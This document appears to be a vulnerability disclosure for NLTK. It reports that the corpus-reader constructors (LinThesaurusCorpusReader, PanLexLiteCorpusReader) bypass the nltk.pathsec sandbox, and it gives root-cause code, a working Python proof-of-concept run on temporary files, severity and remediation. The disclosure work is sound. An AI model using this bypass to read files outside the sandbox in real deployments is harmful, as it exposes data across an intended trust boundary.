NLTK: Corpus Reader Sandbox Bypass

Summary

NLTK corpus-reader constructors can still reach outside-root file and database reads before the nltk.pathsec sandbox boundary is enforced.

The PoC shows the safe path blocked by pathsec.open, then LinThesaurusCorpusReader and PanLexLiteCorpusReader succeeding in the same process.

Affected Product

• Product: NLTK
• Asset / component: nltk.corpus.reader constructors
• Version tested: 3.10.2
• Deployment / package / tag: commit 474af1f5a94b1b8d53fc2b6defec3a2ce7633b74 / PyPI nltk
• Environment used for verification: Python 3.13.14

Vulnerability Details

• Vulnerability class: path sandbox bypass / external control of file path
• Required privileges: none beyond the ability to supply a corpus root path to a consumer call site
• Entry point: LinThesaurusCorpusReader(root) and PanLexLiteCorpusReader(root)
• Trust boundary crossed: NLTK data-root sandbox enforced by nltk.pathsec
• Root affected functions:
  • CorpusReader.init
  • LinThesaurusCorpusReader.init
  • PanLexLiteCorpusReader.init
• Measured unsafe effect: outside-root file/database reads still happen with ENFORCE=True

Root Cause

CorpusReader.__init__() turns a string root into a FileSystemPathPointer without any pathsec validation, and these readers then use builtin open() or sqlite3.connect() directly on derived paths. The constructor path therefore never hits the sandbox guard that pathsec.open() enforces.

if zipfile:
    root = ZipFilePathPointer(zipfile, zipentry)
else:
    root = FileSystemPathPointer(root)

with open(path) as lin_file:
    ...

self._c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor()

Proof of Concept

Save the script as hy01_raw_path_poc.py in the checkout root and run python hy01_raw_path_poc.py.

#!/usr/bin/env python3
"""PoC for HY-01: corpus-reader sandbox bypass.

This script proves three facts:
- pathsec blocks a direct read through the sandboxed file API
- LinThesaurusCorpusReader still reaches builtin open() on an outside path
- PanLexLiteCorpusReader still opens an outside sqlite database and loads data
"""

from __future__ import annotations

import builtins
import pathlib
import sqlite3
import sys
import tempfile
from unittest.mock import patch

try:
    import nltk.pathsec as pathsec
    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader
except ModuleNotFoundError:
    here = pathlib.Path(__file__).resolve()
    for base in (here.parent, *here.parents):
        if (base / "nltk").is_dir() and (base / "setup.py").exists():
            sys.path.insert(0, str(base))
            break
    else:
        raise RuntimeError(
            "Could not import nltk. Run this script from an NLTK checkout root "
            "or from an environment where the current checkout is installed."
        )

    import nltk.pathsec as pathsec
    from nltk.corpus.reader.lin import LinThesaurusCorpusReader
    from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader


def main() -> int:
    pathsec.ENFORCE = True

    with patch.object(pathsec, "_get_allowed_roots", lambda: set()):
        with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"):
            with tempfile.TemporaryDirectory() as tmp:
                tmpdir = pathlib.Path(tmp)
                outside = tmpdir / "outside"
                outside.mkdir()

                blocked_file = outside / "blocked.txt"
                blocked_file.write_text("blocked", encoding="utf-8")

                control_target = str(blocked_file)
                try:
                    with pathsec.open(control_target, "rb"):
                        raise AssertionError(
                            "pathsec.open unexpectedly allowed control path"
                        )
                except PermissionError:
                    print("control:pathsec.open=blocked")

                lin_root = tmpdir / "lin"
                lin_root.mkdir()
                lin_file = lin_root / "simN.lsp"
                lin_file.write_text(
                    '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n',
                    encoding="utf-8",
                )

                opened = []
                real_open = builtins.open

                def tracking_open(*args, **kwargs):
                    opened.append(str(args[0]))
                    return real_open(*args, **kwargs)

                with patch("builtins.open", tracking_open):
                    LinThesaurusCorpusReader(str(lin_root))

                if any(p.endswith("simN.lsp") for p in opened):
                    print("lin:outside_root_open=success")
                else:
                    raise AssertionError("LinThesaurusCorpusReader did not open data")

                panlex_root = tmpdir / "panlex"
                panlex_root.mkdir()
                db_path = panlex_root / "db.sqlite"
                db = sqlite3.connect(db_path)
                cur = db.cursor()
                cur.execute("create table lv(uid text, lv text, lc text, tt text)")
                cur.execute("create table dnx(ex int, mn int, uq int, ap int, ui text)")
                cur.execute("create table ex(ex int, tt text, lv text, uq int)")
                cur.execute(
                    "insert into lv(uid, lv, lc, tt) values ('u1', 'lv1', 'en', 'English')"
                )
                db.commit()
                db.close()

                reader = PanLexLiteCorpusReader(str(panlex_root))
                result = reader.language_varieties()
                if result == [("u1", "English")]:
                    print("panlex:language_varieties=success")
                else:
                    raise AssertionError("PanLexLiteCorpusReader did not load data")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Expected output:

control:pathsec.open=blocked
lin:outside_root_open=success
panlex:language_varieties=success

Impact

A caller can make NLTK read filesystem content outside the intended NLTK data sandbox through public corpus-reader constructors. In the PoC, that includes a local text file and a local SQLite db.

Severity

• Base Score: 7.5 (High)
• Severity reasoning: The bug is reliably triggerable by caller-controlled path input and exposes data outside the intended trust boundary; no special privileges are needed inside the process.

Remediation

Validate raw string roots before constructing readers, and route all corpus-root/path handling through pathsec or a validated PathPointer. Remove direct builtin open() and direct sqlite3.connect(os.path.join(...)) use on constructor-derived paths.